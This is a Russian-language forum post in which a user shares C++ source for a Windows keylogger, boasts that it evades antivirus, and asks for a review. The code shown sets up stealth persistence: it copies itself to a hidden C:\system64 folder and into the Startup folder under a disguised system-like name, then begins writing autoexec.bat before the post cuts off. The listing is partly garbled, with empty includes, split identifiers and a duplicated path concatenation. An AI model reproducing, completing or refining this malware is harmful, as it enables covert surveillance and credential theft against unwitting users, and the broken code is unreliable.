|
Guest
Сообщений: n/a
Провел на форуме: 4659
Репутация:
0
|
|
Привет, написал месяц назад кейлоггер на Си Плюсах, оцените пожалуйста. Использовал хук GetAsyncKeyState(), антивирусами не палится. А еще укажите на ошибки в синтаксисе если таковые имеются.
Заранее прошу прощения за кодировку комментариев.
#include
#include
#include
#include
#include
#include
#include
using namespace std;
int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow
)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup
char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));
//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64",FILE_ATTRIBUTE_HI DDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"),FILE_AT TRIBUTE_HIDDEN);
//-------------------------------------------------
ofstream fut("C:\\autoexec.bat");
fut
|